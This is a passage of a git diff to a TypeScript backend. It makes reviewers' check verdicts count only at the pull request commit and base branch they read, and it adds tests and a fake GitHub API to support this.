const PULL_FILES_PAGES = 30
const PUSH_ORIGINS_KEPT = 1000
+/** GitHub's files of a comparison as [PullRequestFile]s, or null when one lacks its name, status or blob. */
+function filesOf(body: unknown[]): PullRequestFile[] | null {
+ const text = (value: unknown) => typeof value === 'string' ? value : undefined
+ const files: PullRequestFile[] = []
+ for (const file of body as Array<Record<string, unknown>>) {
+ const filename = text(file?.filename), status = text(file?.status), sha = text(file?.sha), patch = text(file?.patch), previousFilename = text(file?.previous_filename)
+ if (!filename || !status || sha === undefined) return null
+ files.push({ filename, status, sha, ...patch === undefined ? {} : { patch }, ...previousFilename === undefined ? {} : { previousFilename } })
+ }
+ return files
+}
const PUSH_UNKNOWN_MS = 60_000
export type TokenPermissions = Readonly<Record<string, 'read' | 'write'>>
/** Jobs running and waiting on a repository's GitHub Actions, in all and on macOS runners: counts only. */
@@ -669,6 +686,32 @@ export class GitHubApp {
}
}
+ /** The files of a pull request at [head], for its patch id (superTabs/pullRequestPatch.ts, #3394), read with a token of
+ * [PULL_PATCH_PERMISSIONS]: the comparison of the base and head commits the pull request names in one answer
+ * (GET /pulls/{number}, then GET /compare/{base}...{head}), two fixed commits no push changes (review of #3218, round 3:
+ * a listing of the pull request's files ties removed ones to no head, and pages to no single head). Null unless the pull request still names [head], and when GitHub cannot
+ * say or gives as many files as it ever gives ([COMPARE_FILES_MAX]), as it may then have left some out. With the branch it
+ * merges into from the same answer, which the patch id names (security review of #3218, round 3). */
+ async pullRequestPatchFiles(repository: GitHubRepository, number: number, token: string, head: string): Promise<{ base: string; files: PullRequestFile[] } | null> {
+ const base = `/repos/${repository.owner}/${repository.name}`
+ const sha = (value: unknown) => typeof value === 'string' && /^[0-9a-f]{40}$/i.test(value) ? value.toLowerCase() : undefined
+ try {
+ const pull = await this.call('GET', `${base}/pulls/${number}`, `Bearer ${token}`)
+ if (pull.status !== 200) return null
+ const named = pull.body as { head?: { sha?: unknown }; base?: { sha?: unknown; ref?: unknown } }
+ const at = sha(named.head?.sha), from = sha(named.base?.sha), branch = typeof named.base?.ref === 'string' ? named.base.ref : ''
+ if (!at || !from || !branch || at !== head.toLowerCase()) return null
+ const compared = await this.call('GET', `${base}/compare/${from}...${at}?per_page=1`, `Bearer ${token}`)
+ const listed = compared.status === 200 ? (compared.body as { files?: unknown }).files : undefined
+ if (!Array.isArray(listed) || listed.length >= COMPARE_FILES_MAX) return null
+ const files = filesOf(listed)
+ return files && { base: branch, files }
+ } catch (error) {
+ if (error instanceof GitHubAppError) return null
+ throw error
+ }
+ }
+
/**
* The files pull request [number] changes, read with the watch's read-only token (task #3401: its review steps are planned
* from them): GET /pulls/{n}/files, 100 a page. A renamed file is listed under its old name too, so moving a file out of a
diff --git a/backend/src/github/fakeGitHub.ts b/backend/src/github/fakeGitHub.ts
index c2fc33ca7..6442503ea 100644
--- a/backend/src/github/fakeGitHub.ts
+++ b/backend/src/github/fakeGitHub.ts
@@ -23,7 +23,7 @@ export function fakeGitHub(options: { publicKey: KeyObject; appId: string; now?:
const renamed = new Map<string, string>()
const protection = new Map<string, { rules?: unknown[]; protected?: boolean; branch?: string; fail?: boolean }>()
/** Pull requests by `owner/name#number`, lower case: GitHub's state and when it was merged, and what a watch reads. */
- const pulls = new Map<string, { state: 'open' | 'closed'; merged_at: string | null; draft?: boolean; head?: { sha: string }; base?: { ref: string };
+ const pulls = new Map<string, { state: 'open' | 'closed'; merged_at: string | null; draft?: boolean; head?: { sha: string }; base?: { ref: string; sha?: string };
mergeable?: boolean | null; html_url?: string }>()
/** A head's latest check runs and its check suites, by `owner/name@sha`, lower case. */
const checkRuns = new Map<string, Array<{ name: string; status: string; conclusion: string | null; completed_at: string | null }>>()
@@ -31,6 +31,8 @@ export function fakeGitHub(options: { publicKey: KeyObject; appId: string; now?:
/** A pull request's reviews and conversation comments, by `owner/name#number`, lower case. */
const reviews = new Map<string, Array<{ id: number; user: { login: string }; author_association?: string; state: string; body: string; html_url: string }>>()
const comments = new Map<string, Array<{ id: number; user: { login: string }; author_association?: string; body: string; html_url: string }>>()
+ /** The files of a comparison, by `owner/[email protected]`, lower case: GET /compare/{base}...{head}. */
+ const compares = new Map<string, Array<{ filename: string; status: string; sha: string; patch?: string; previous_filename?: string }>>()
/** A pull request's changed files, by `owner/name#number`, lower case, as GET /pulls/{n}/files lists them (task #3401). */
const files = new Map<string, Array<{ filename: string; status: string; previous_filename?: string }>>()
/** Workflow runs by `owner/name`, lower case: each run's status and its jobs' statuses and runner labels. */
@@ -147,6 +149,11 @@ export function fakeGitHub(options: { publicKey: KeyObject; appId: string; now?:
return head[2] === 'check-runs' ? tagged({ total_count: checkRuns.get(key)?.length ?? 0, check_runs: checkRuns.get(key) ?? [] })
: tagged({ total_count: checkSuites.get(key)?.length ?? 0, check_suites: checkSuites.get(key) ?? [] })
}
+ const compared = /^\/compare\/([0-9a-f]+)\.\.\.([0-9a-f]+)$/.exec(repoPath[3] ?? '')
+ if (compared) {
+ const listed = compares.get(`${repoKey}@${compared[1]}...${compared[2]}`)
+ return listed ? json(200, { status: 'ahead', files: listed }) : json(404, { message: 'Not Found' })
+ }
const changed = /^\/pulls\/(\d+)\/files$/.exec(repoPath[3] ?? '')
if (changed) {
if (control.pullsStatus !== 200) return json(control.pullsStatus, { message: 'Server Error' })
@@ -157,7 +164,7 @@ export function fakeGitHub(options: { publicKey: KeyObject; appId: string; now?:
const talk = /^\/(pulls|issues)\/(\d+)\/(reviews|comments)$/.exec(repoPath[3] ?? '')
if (talk) {
// Oldest first, a page at a time, with a Link to the last page as GitHub sends it.
- const all = (talk[3] === 'reviews' ? reviews : comments).get(`${repoKey}#${talk[2]}`) ?? []
+ const all: unknown[] = (talk[3] === 'reviews' ? reviews : comments).get(`${repoKey}#${talk[2]}`) ?? []
const size = Number(url.searchParams.get('per_page') ?? 30), page = Number(url.searchParams.get('page') ?? 1), last = Math.max(1, Math.ceil(all.length / size))
const answer = tagged(all.slice((page - 1) * size, page * size))
if (last > 1) answer.headers.set('link', `<${FAKE_API}${url.pathname}?per_page=${size}&page=${last}>; rel="last"`)
@@ -168,7 +175,7 @@ export function fakeGitHub(options: { publicKey: KeyObject; appId: string; now?:
}
return json(404, { message: 'Not Found' })
}) as typeof globalThis.fetch
- return { fetch, calls, grants, installed, owners, renamed, protection, pulls, checkRuns, checkSuites, reviews, comments, files, revoked, issued, control, actions, permissions }
+ return { fetch, calls, grants, installed, owners, renamed, protection, pulls, checkRuns, checkSuites, reviews, comments, files, compares, revoked, issued, control, actions, permissions }
}
/** A configured app talking to [github]. */
diff --git a/backend/src/superTabs/checkVerdicts.test.ts b/backend/src/superTabs/checkVerdicts.test.ts
new file mode 100644
index 000000000..a5aabd7f6
--- /dev/null
+++ b/backend/src/superTabs/checkVerdicts.test.ts
@@ -0,0 +1,207 @@
+/**
+ * A verdict counts only at the pull request head it read (Dee, task #3394): a newer head stops it counting unless the pull
+ * request's own patch is the same (a plain rebase, or a main merge that leaves the PR's diff unchanged).
+ */
+import { describe, expect, it } from 'vitest'
+import { HEADS_KEPT, deriveCheck, keepHead, recordCheckVerdict, refreshChecks, verdictCounts, watchedLinks, type PullRequestHeads } from './checkVerdicts.js'
+import type { Check, CheckVerdict } from './model.js'
+
+const PR = 'https://github.com/acme/app/pull/7'
+const A = 'aaaaaaa1111111111111111111111111111111aa', B = 'bbbbbbb2222222222222222222222222222222bb'
+const check = (): Check => ({ id: 'c', description: 'Signs in offline', independent: false, evidence: null, passedBy: null })
+const verdict = (by: string, passed: boolean, head: string | undefined, patch?: string): CheckVerdict =>
+ ({ by, passed, evidence: `${by} read it`, at: 1, ...head ? { pullRequest: PR, head } : {}, ...patch ? { patch } : {} })
+const at = (head: string, patch: string | null): PullRequestHeads => ({ [PR]: { head, patch, at: 1 } })
+
+describe('a verdict at a head', () => {
+ it('counts at its head, in either case', () => {
+ expect(verdictCounts(verdict('r', true, A), at(A, 'p1'))).toBe(true)
+ expect(verdictCounts(verdict('r', true, A.toUpperCase()), at(A, 'p1'))).toBe(true)
+ })
+
+ // Security review of #3218 (Warden2), Important 2: a commit ground to share a short head's characters kept the verdict.
+ it('never counts a shortened head at a head that merely starts with it', () => {
+ const ground = `${A.slice(0, 7)}${'f'.repeat(33)}`
+ expect(verdictCounts(verdict('r', true, A.slice(0, 7), 'p1'), at(ground, 'p2'))).toBe(false)
+ expect(verdictCounts(verdict('r', true, A.slice(0, 7)), at(A, 'p1'))).toBe(false)
+ })
+
+ it('stops counting at a newer head with another patch, or a patch nobody could read', () => {
+ expect(verdictCounts(verdict('r', true, A, 'p1'), at(B, 'p2'))).toBe(false)
+ expect(verdictCounts(verdict('r', true, A, 'p1'), at(B, null))).toBe(false)
+ expect(verdictCounts(verdict('r', true, A), at(B, 'p1'))).toBe(false)
+ })
+
+ it('keeps counting at a newer head with the same patch', () => {
+ expect(verdictCounts(verdict('r', true, A, 'p1'), at(B, 'p1'))).toBe(true)
+ })
+
+ it('counts while the task has no watched head', () => {
+ expect(verdictCounts(verdict('r', true, A, 'p1'), undefined)).toBe(true)
+ expect(verdictCounts(verdict('r', true, undefined), undefined)).toBe(true)
+ })
+
+ // Review of #3218 (Ledger, round 3), Important 2: a task whose watched heads all left the watch (its links moved past them)
+ // was watched: its verdicts stay unverified, never "as before".
+ it('does not count once the task was watched, though it keeps no head now', () => {
+ expect(verdictCounts(verdict('r', true, A, 'p1'), {})).toBe(false)
+ expect(verdictCounts(verdict('r', true, undefined), {})).toBe(false)
+ })
+
+ // Review of #3218 (Ledger), Important 2 and 6: once the task's pull requests are watched, a verdict whose own one has no head
+ // (not read yet, or dropped from the kept heads) is unverified, never valid for every head.
+ it('does not count on a pull request with no watched head while another of the task has one', () => {
+ expect(verdictCounts(verdict('r', true, A, 'p1'), { 'https://github.com/acme/app/pull/8': { head: A, patch: 'p1', at: 1 } })).toBe(false)
+ })
+
+ it('naming a head before the task linked a pull request, counts only at that head once one is watched', () => {
+ const early: CheckVerdict = { by: 'r', passed: true, evidence: '', at: 1, head: A }
+ expect(verdictCounts(early, undefined)).toBe(true)
+ expect(verdictCounts(early, at(A, 'p1'))).toBe(true)
+ expect(verdictCounts(early, at(B, 'p2'))).toBe(false)
+ })
+
+ // Security review of #3218 (Warden2), Important 3: a verdict naming no head was given the head watched last, which a push
+ // during the review made code nobody read; and one from before heads counted at every head.
+ it('naming no head, stops counting once a head is watched', () => {
+ expect(verdictCounts(verdict('r', true, undefined), at(B, 'p2'))).toBe(false)
+ expect(verdictCounts({ by: 'r', passed: true, evidence: '', at: 1, pullRequest: PR }, at(B, 'p2'))).toBe(false)
+ })
+})
+
+describe('a check of verdicts at heads', () => {
+ it('passes on a pass at the head, and reads not passed once that head is replaced', () => {
+ const c = check()
+ recordCheckVerdict(c, verdict('agent:r', true, A, 'p1'), undefined, at(A, 'p1'))
+ expect(c).toMatchObject({ passedBy: 'agent:r', evidence: 'agent:r read it' })
+ deriveCheck(c, at(B, 'p2'))
+ expect(c).toMatchObject({ passedBy: null, evidence: null })
+ expect(c.verdicts![0]!.stale).toBe(B)
+ // Back at the head it read (a force-push back), it counts again.
+ deriveCheck(c, at(A, 'p1'))
+ expect(c.passedBy).toBe('agent:r')
+ expect(c.verdicts![0]!.stale).toBeUndefined()
+ })
+
+ it('a failure at an old head no longer fails the check; a pass at the new head passes it', () => {
+ const c = check()
+ recordCheckVerdict(c, verdict('agent:t', false, A, 'p1'), undefined, at(A, 'p1'))
+ expect(c).toMatchObject({ passedBy: null, evidence: 'agent:t read it' })
+ recordCheckVerdict(c, verdict('agent:r', true, B, 'p2'), undefined, at(B, 'p2'))
+ expect(c).toMatchObject({ passedBy: 'agent:r', evidence: 'agent:r read it' })
+ expect(c.verdicts!.map(v => v.stale)).toEqual([B, undefined])
+ })
+
+ it('a failure at the head still wins over a pass', () => {
+ const c = check()
+ recordCheckVerdict(c, verdict('agent:t', false, B, 'p2'), undefined, at(B, 'p2'))
+ recordCheckVerdict(c, verdict('agent:r', true, B, 'p2'), undefined, at(B, 'p2'))
+ expect(c).toMatchObject({ passedBy: null, evidence: 'agent:t read it' })
+ })
+
+ it('verdicts with no head behave as they did while no head is watched, and are stale at the first', () => {
+ const c = check()
+ recordCheckVerdict(c, verdict('agent:r', true, undefined))
+ expect(c).toMatchObject({ passedBy: 'agent:r', evidence: 'agent:r read it' })
+ expect(c.verdicts![0]).not.toHaveProperty('stale')
+ expect(refreshChecks([c], PR, undefined, at(A, 'p1'))).toEqual([c])
+ expect(c.verdicts![0]!.stale).toBe(A)
+ })
+})
+
+describe('a new head', () => {
+ it('learns the patch of verdicts given before it was read, then keeps those with the same patch', () => {
+ const c = check()
+ // Recorded before the watch had read A's patch.
+ recordCheckVerdict(c, verdict('agent:r', true, A), undefined, at(A, null))
+ const changed = refreshChecks([c], PR, { head: A, patch: 'p1', at: 1 }, at(B, 'p1'))
+ expect(c.verdicts![0]!.patch).toBe('p1')
+ expect(c.passedBy).toBe('agent:r')
+ expect(changed).toEqual([])
+ })
+
+ it('names the checks that stopped passing', () => {
+ const c = check(), other = { ...check(), id: 'd' }
+ recordCheckVerdict(c, verdict('agent:r', true, A, 'p1'), undefined, at(A, 'p1'))
+ const changed = refreshChecks([c, other], PR, { head: A, patch: 'p1', at: 1 }, at(B, 'p2'))
+ expect(changed).toEqual([c])
+ expect(c.passedBy).toBeNull()
+ })
+})
+
+// Review of #3218 (Ledger), Important 6: a task keeps the heads of the pull requests it links, at most HEADS_KEPT of them.
+describe('the heads a task keeps', () => {
+ const head = (n: number) => ({ head: n.toString(16).padStart(40, '0'), patch: null, at: n })
+ const url = (n: number) => `https://github.com/acme/app/pull/${n}`
+
+ it('keeps only pull requests it still links', () => {
+ expect(Object.keys(keepHead({ [url(1)]: head(1), [url(2)]: head(2) }, url(3), head(3), [url(2), url(3)])).sort()).toEqual([url(2), url(3)])
+ })
+
+ it('keeps at most HEADS_KEPT, the most recently read', () => {
+ let heads: PullRequestHeads = {}
+ const links = Array.from({ length: HEADS_KEPT + 5 }, (_, i) => url(i + 1))
+ for (let n = 1; n <= HEADS_KEPT + 5; n++) heads = keepHead(heads, url(n), head(n), links)
+ expect(Object.keys(heads)).toHaveLength(HEADS_KEPT)
+ expect(heads[url(1)]).toBeUndefined()
+ expect(heads[url(HEADS_KEPT + 5)]).toBeDefined()
+ })
+})
+
+// Review of #3218 (Ledger, round 2), Important 2: the watch read every link and the task kept 50 heads, so past 50 open pull
+// requests each pass dropped a head it read again next pass, with no patch: a cascade of unread patches.
+describe('the links a task is watched for', () => {
+ const url = (n: number) => `https://github.com/acme/app/pull/${n}`
+ it('are its newest HEADS_KEPT links, and its kept heads are theirs', () => {
+ const links = Array.from({ length: HEADS_KEPT + 3 }, (_, i) => url(i + 1))
+ expect(watchedLinks(links)).toEqual(links.slice(3))
+ let heads: PullRequestHeads = {}
+ for (const link of watchedLinks(links)) heads = keepHead(heads, link, { head: 'a'.repeat(40), patch: 'p', at: 1 }, links)
+ expect(Object.keys(heads).sort()).toEqual(watchedLinks(links).sort())
+ // A pass reading the same links again keeps every one.
+ for (const link of watchedLinks(links)) heads = keepHead(heads, link, heads[link]!, links)
+ expect(Object.keys(heads)).toHaveLength(HEADS_KEPT)
+ })
+})
+
+// Security reviews of #3218 (Warden2, rounds 4 and 5) and review round 7 (Ledger): a reviewer reads the pull request's diff
+// against a base branch, and no base the server infers (the one watched when the verdict came, or the one its head was first
+// seen at) is known to be the one this reviewer read: a round trip of retargets defeats each. The checker names it, as it names
+// the head; once a head with its base is watched, a verdict naming none counts at none.
+describe('a verdict and the base branch it read against', () => {
+ const on = (head: string, patch: string | null, base: string): PullRequestHeads => ({ [PR]: { head, patch, at: 1, base } })
+
+ it('counts at its head only on the base it names', () => {
+ const c = check()
+ recordCheckVerdict(c, { ...verdict('agent:r', true, A), base: 'evil' }, undefined, on(A, 'p-evil', 'evil'))
+ expect(c.verdicts![0]).toMatchObject({ head: A, patch: 'p-evil', base: 'evil' })
+ expect(c.passedBy).toBe('agent:r')
+ refreshChecks([c], PR, { head: A, patch: 'p-evil', at: 1, base: 'evil' }, on(A, 'p-main', 'main'))
+ expect(c.passedBy).toBeNull()
+ expect(c.verdicts![0]!.stale).toBe(A)
+ refreshChecks([c], PR, { head: A, patch: 'p-main', at: 1, base: 'main' }, on(A, 'p-evil', 'evil'))
+ expect(c.passedBy).toBe('agent:r')
+ })
+
+ it('naming no base, counts at no watched base, and learns none', () => {
+ const c = check()
+ recordCheckVerdict(c, verdict('agent:r', true, A), undefined, on(A, 'p-main', 'main'))
+ expect(c.verdicts![0]).not.toHaveProperty('base')
+ expect(c.verdicts![0]).not.toHaveProperty('patch')
+ expect(c.passedBy).toBeNull()
+ })
+
+ it('learns no patch read against another base', () => {
+ const c = check()
+ recordCheckVerdict(c, { ...verdict('agent:r', true, A), base: 'evil' }, undefined, on(A, 'p-main', 'main'))
+ expect(c.verdicts![0]).not.toHaveProperty('patch')
+ expect(c.passedBy).toBeNull()
+ })
+
+ it('carries to a new head on its own base with the same patch', () => {
+ const c = check()
+ recordCheckVerdict(c, { ...verdict('agent:r', true, A), base: 'main' }, undefined, on(A, 'p1', 'main'))
+ refreshChecks([c], PR, { head: A, patch: 'p1', at: 1, base: 'main' }, on(B, 'p1', 'main'))
+ expect(c.passedBy).toBe('agent:r')
+ })
+})
diff --git a/backend/src/superTabs/checkVerdicts.ts b/backend/src/superTabs/checkVerdicts.ts
index 54f4856bd..5cc5cabd0 100644
--- a/backend/src/superTabs/checkVerdicts.ts
+++ b/backend/src/superTabs/checkVerdicts.ts
@@ -2,23 +2,115 @@
* Each checker's verdict on a task check (Diego, 2026-11-03, #2311): Review and Test record the same checks in parallel, so
* a later pass by one checker used to erase another's failure and its evidence. A check keeps every checker's latest
* verdict; `passedBy` and `evidence`, which every older reader reads, are derived from them with a failure winning.
+ *
+ * A verdict counts only at the pull request head it read (Dee, #3394): a newer head stops it counting unless the pull
+ * request's own patch is the same (a plain rebase, or a main merge that leaves its diff unchanged). It replaces reading a
+ * verdict's text: a stale pass passes nothing, and a stale failure fails nothing, until someone checks the new head.
*/
-import type { Check, CheckVerdict } from './model.js'
+import type { Check, CheckVerdict, PullRequestHead } from './model.js'
+
+/** Each linked pull request's head as the PR watch last read it (Conversation.pullRequestHeads). */
+export type PullRequestHeads = Readonly<Record<string, PullRequestHead>>
+
+/** Whether [head] is [full]: the whole commit id, never a shortening a commit could be ground to share (security review of
+ * #3218). */
+const sameHead = (full: string, head: string) => full.toLowerCase() === head.toLowerCase()
+
+/** The most pull request heads a task keeps (keepHead): the most recently read. */
+export const HEADS_KEPT = 50
+
+/** The head a verdict's pull request is at now: its own pull request's, or for one recorded with none (from before heads,
+ * or before the task linked one), the one its task's watch read last. Undefined while the task was never watched; null
+ * once it was, but has no head of the verdict's own pull request (not read yet, or no longer watched: review of #3218,
+ * round 3, even when no head is left). */
+function currentHead(verdict: CheckVerdict, heads: PullRequestHeads | undefined): PullRequestHead | null | undefined {
+ if (heads === undefined) return undefined
+ if (verdict.pullRequest) return heads[verdict.pullRequest] ?? null
+ const watched = Object.values(heads)
+ return watched.length ? watched.reduce((a, b) => b.at > a.at ? b : a) : null
+}
+
+/** Whether [verdict] counts against [heads]. While its task was never watched, it counts as verdicts always did. Then only
+ * at the head it names of its own pull request, or at a head whose patch id is its own; a patch nobody could read (null)
+ * matches nothing, so only that exact head counts there. A verdict naming no head counts at none (security review of #3218:
+ * the head watched last may be a push nobody read), and one whose pull request has no watched head is unverified (review of
+ * #3218), so one from before heads needs a new check once its task is watched. */
+export function verdictCounts(verdict: CheckVerdict, heads: PullRequestHeads | undefined): boolean {
+ const current = currentHead(verdict, heads)
+ if (current === undefined) return true
+ if (!current || !verdict.head) return false
+ // Its head counts only on the base it names (security review of #3218, round 4; review round 7): naming none, on none once a
+ // base is watched. A patch id names its base.
+ return (sameHead(current.head, verdict.head) && verdict.base === current.base) || (!!verdict.patch && current.patch === verdict.patch)
+}
+
+/** The links of a task its PR watch reads: its newest HEADS_KEPT (review of #3218: one task links 369 pull requests in
+ * production), the same each pass until it links another, so the heads kept are exactly the heads read (keepHead). */
+export const watchedLinks = (links: readonly string[]): string[] => links.slice(-HEADS_KEPT)
+
+/** [heads] with [url] at [entry]: only the pull requests the watch reads of the task's [links] (watchedLinks), so never more
+ * than HEADS_KEPT, and never one dropped that the next pass reads again (review of #3218, round 2). A verdict on one no
+ * longer read is unverified (verdictCounts), never valid for every head. */
+export function keepHead(heads: PullRequestHeads | undefined, url: string, entry: PullRequestHead, links: readonly string[]): Record<string, PullRequestHead> {
+ const linked = new Set(watchedLinks(links))
+ const kept = Object.entries({ ...heads, [url]: entry }).filter(([key]) => key === url || linked.has(key))
+ .sort(([, a], [, b]) => b.at - a.at).slice(0, HEADS_KEPT)
+ return Object.fromEntries(kept)
+}
+
+/** [verdict] learns the patch id of the head it read from [known], when that is its head on the base it names: the id names
+ * the base, so another base's is another diff. */
+function learnPatch(verdict: CheckVerdict, known: PullRequestHead | undefined): void {
+ if (!verdict.head || !known || !sameHead(known.head, verdict.head) || verdict.base !== known.base) return
+ if (!verdict.patch && known.patch) verdict.patch = known.patch
+}
+
+/** Derives [check]'s `passedBy` and `evidence` from the verdicts that count against [heads], and marks the others stale
+ * with the head they stopped at. It passes only while no counting verdict failed: its latest counting passer; its evidence
+ * is the latest counting failure's, else that pass's, else none (a check nobody checked at this head reads unchecked). */
+export function deriveCheck(check: Check, heads: PullRequestHeads | undefined): void {
+ const verdicts = check.verdicts ?? []
+ for (const verdict of verdicts) {
+ if (verdictCounts(verdict, heads)) delete verdict.stale
+ else verdict.stale = currentHead(verdict, heads)?.head ?? ''
+ }
+ const live = verdicts.filter(v => v.stale === undefined)
+ const failed = live.findLast(v => !v.passed), passed = live.findLast(v => v.passed)
+ check.passedBy = failed ? null : passed?.by ?? null
+ check.evidence = (failed ?? passed)?.evidence ?? null
+}
/** Records [verdict] on [check], in place of its checker's earlier one (`earlier`, undefined on its first). The verdicts are
* kept oldest first. A pass kept from before verdicts were is its checker's verdict; a failure from then names no checker,
* so it is not kept. A pass also drops the failures of the checkers [clears] names, and returns them (`cleared`) for the
* caller to record: those who left the Swarm, when someone accountable for the task passes it (#2656), as nobody else
- * could ever pass it in their place. */
-export function recordCheckVerdict(check: Check, verdict: CheckVerdict, clears: (by: string) => boolean = () => false):
- { earlier: CheckVerdict | undefined; cleared: CheckVerdict[] } {
+ * could ever pass it in their place. [heads]: the task's pull requests' heads, which the verdicts count against. */
+export function recordCheckVerdict(check: Check, verdict: CheckVerdict, clears: (by: string) => boolean = () => false,
+ heads?: PullRequestHeads): { earlier: CheckVerdict | undefined; cleared: CheckVerdict[] } {
const kept = check.verdicts ?? (check.passedBy ? [{ by: check.passedBy, passed: true, evidence: check.evidence ?? '', at: 0 }] : [])
const earlier = kept.find(v => v.by === verdict.by)
const cleared = verdict.passed ? kept.filter(v => v !== earlier && !v.passed && clears(v.by)) : []
- const verdicts = check.verdicts = [...kept.filter(v => v !== earlier && !cleared.includes(v)), verdict]
- // The check passes only while no checker's latest verdict failed: its latest passer, else the latest failure's evidence.
- const failed = verdicts.findLast(v => !v.passed)
- check.passedBy = failed ? null : verdict.by
- check.evidence = (failed ?? verdict).evidence
+ if (verdict.pullRequest) learnPatch(verdict, heads?.[verdict.pullRequest])
+ check.verdicts = [...kept.filter(v => v !== earlier && !cleared.includes(v)), verdict]
+ deriveCheck(check, heads)
return { earlier, cleared }
}
+
+/** The PR watch read a new head of [url] (its head before: [previous]; every head now: [heads]): each verdict on it learns
+ * the patch id of the head it read, when the watch knows it, and [checks] are derived again. The checks that passed before
+ * and do not now, for the caller to tell. */
+export function refreshChecks(checks: readonly Check[], url: string, previous: PullRequestHead | undefined, heads: PullRequestHeads): Check[] {
+ const stopped: Check[] = []
+ for (const check of checks) {
+ if (!check.verdicts?.length) continue
+ for (const verdict of check.verdicts) {
+ if (verdict.pullRequest !== url || !verdict.head) continue
+ learnPatch(verdict, previous)
+ learnPatch(verdict, heads[url])
+ }
+ const before = check.passedBy
+ deriveCheck(check, heads)
+ if (before && !check.passedBy) stopped.push(check)
+ }
+ return stopped
+}
diff --git a/backend/src/superTabs/commands.ts b/backend/src/superTabs/commands.ts
index d534a8878..74dee5ce8 100644
--- a/backend/src/superTabs/commands.ts
+++ b/backend/src/superTabs/commands.ts
@@ -81,6 +81,14 @@ import { inThread, leadsGroup, recordAnswered, requireUnanswered } from './answe
import { DISPATCH_RULES, laneNamed, pinBuilder, spokenList, stampLane } from './dispatch.js'
const id = z.string().min(1).max(160).regex(/^[A-Za-z0-9_-]+$/)
+/** The most steps a task lists (Conversation.stepIds): production's most was 14 (2026-11-05). */
+const STEPS_LISTED = 200
+/** [task] lists its new step [id], so a new head of its pull request re-derives the step's checks even once it is dormant
+ * (#3394), however the step opened (conversation.create, or a Ready's review steps). A task from before lists none until its
+ * PR watch looks its dormant steps up (review of #3218, round 3): listing only this one would hide those. */
+function listStep(task: Conversation, id: string): void {
+ if (task.stepIds) task.stepIds = [...task.stepIds, id].slice(-STEPS_LISTED)
+}
/** A route override's reason when its agent gave none: following another candidate needs none (project instructions). */
const NO_REASON = 'No reason given.'
/** What a pick-less route's only candidate is chosen for, when its start gives no reason (task #2901). */
@@ -442,7 +450,12 @@ export const commandSchema = z.discriminatedUnion('type', [
text: z.string().refine(value => Buffer.byteLength(value) <= 65_536, 'A screen is at most 64 KB.').optional(),
error: z.string().trim().min(1).max(500).optional() }).strict().refine(c => c.ok || c.error !== undefined, 'Say why the request failed.')),
z.object({ type: z.literal('agent.alert'), agentId: id, alert: z.enum(['prompt', 'limit', 'model']), active: z.boolean(), resetAt: z.iso.datetime().optional() }).strict(),
- z.object({ type: z.literal('work.check'), conversationId: id, assignmentId: id, checkId: id, passed: z.boolean(), evidence: text }).strict(),
+ // `head`: the whole commit id of the pull request head the checker read (#3394; never shortened, security review of #3218).
+ z.object({ type: z.literal('work.check'), conversationId: id, assignmentId: id, checkId: id, passed: z.boolean(), evidence: text,
+ head: z.string().regex(/^[0-9A-Fa-f]{40}$/).transform(head => head.toLowerCase()).optional(),
+ // `base`: the branch the checker read the pull request's diff against (security review of #3218, round 5; review round 7):
+ // any branch name, never a space or a control character, as it is printed in terminals.
+ base: z.string().min(1).max(255).regex(/^[^\s\p{Cc}]+$/u).optional() }).strict(),
])
export type Command = z.infer<typeof commandSchema>
export const operationSchema = z.object({ operationId: id, command: commandSchema }).strict()
@@ -1744,6 +1757,7 @@ function applyCommandOnce(original: SuperTabState, actor: Actor, input: Command,
...stepMark(state, task), step: planned.name,
assignment: null, lastMessageSequence: 0, checks: storedChecks([{ description: stepCheck(planned), independent: true }], id) })
const step = state.conversations.at(-1)!
+ listStep(task, id)
message(id, brief, [], null, SYSTEM_ROW, undefined, undefined, undefined, stableId(id, 'brief'))
bindTaskCard(step, effects.messages.at(-1)!)
return step
@@ -2547,6 +2561,8 @@ function applyCommandOnce(original: SuperTabState, actor: Actor, input: Command,
for (const id of creator) if (!owning.agentIds.includes(id)) owning.agentIds.push(id)
}
state.conversations.push({ id: operationId, ...(state.projects ? { projectId: project.id } : {}),
+ // A task lists its steps from its start (#3394): only a task from before lists none, which its PR watch looks up once.
+ ...(!command.reviewOf && !command.audience ? { stepIds: [] } : {}),
number, title: command.title, leadId, agentIds: [...leadId ? [leadId] : [], ...creator],
archived: false, brief, ...(command.task ? { task: command.task } : {}), ...(command.reviewOf ? { reviewOf: command.reviewOf } : {}),
// A step keeps its task's mark (teamWritten.ts, audit H2). Opening a task writes none of its code (#3304).
@@ -2558,6 +2574,7 @@ function applyCommandOnce(original: SuperTabState, actor: Actor, input: Command,
})
stampLane(state.conversations.at(-1)!)
recordAsked(state.conversations.at(-1)!, requesterId, context.now)
+ if (command.reviewOf) listStep(conversation(state, command.reviewOf), operationId)
// The reason stands only where nobody is named, and is shown in the task's first row beside its goal.
const noRequester = !requesterId && actor.kind === 'agent' ? command.noRequesterReason : undefined
if (noRequester && state.conversations.at(-1)!.ledger) state.conversations.at(-1)!.ledger!.noRequesterReason = noRequester
@@ -3865,8 +3882,8 @@ function applyCommandOnce(original: SuperTabState, actor: Actor, input: Command,
}
}
if (actor.kind === 'agent') renewOwnTask(state, group, actor.agentId, context.now)
- // A verdict is usually a post to the Engineer: its own step then waits for the new revision (liveness.ts waitingForRevision).
- if (actor.kind === 'agent') toldEngineer(state, group, actor.agentId, recipients, text, context.now)
+ // A post to an Engineer waiting on this review: its own step then waits for the new revision (liveness.ts waitingForRevision).
+ if (actor.kind === 'agent') toldEngineer(state, group, actor.agentId, recipients, context.now)
if (actor.kind === 'agent') engineerAnswered(state, group, actor.agentId, recipients, context.now)
leadActed(group.id, 'post')
break
@@ -4248,8 +4265,31 @@ function applyCommandOnce(original: SuperTabState, actor: Actor, input: Command,
const departed = (key: string) => key.startsWith('agent:') ? !state.agents.some(a => `agent:${a.id}` === key)
: key.startsWith('person:') && !state.people.some(p => `person:${p.id}` === key)
const name = actor.kind === 'agent' ? agentDisplayName(state.agents, actor.agentId) ?? agent(state, actor.agentId).name : actor.email
- const { earlier, cleared } = recordCheckVerdict(check, { by, passed: command.passed, evidence: command.evidence, at: context.now, name },
- accountable ? departed : undefined)
+ // The pull request head it read (#3394): the task's, for a step its task's; the newest linked one the watch has read. The
+ // checker names it. A person who named none gets the head the watch read last, as the screen they checked showed it; an
+ // agent's verdict naming none is recorded and counts at no watched head (security review of #3218: a push during the
+ // review would get its pass). Nothing is refused: the result says how the verdict counts and what makes it count.
+ const build = group.reviewOf ? state.conversations.find(c => c.id === group.reviewOf) : group
+ const heads = build?.pullRequestHeads, urls = build?.pullRequestUrls ?? []
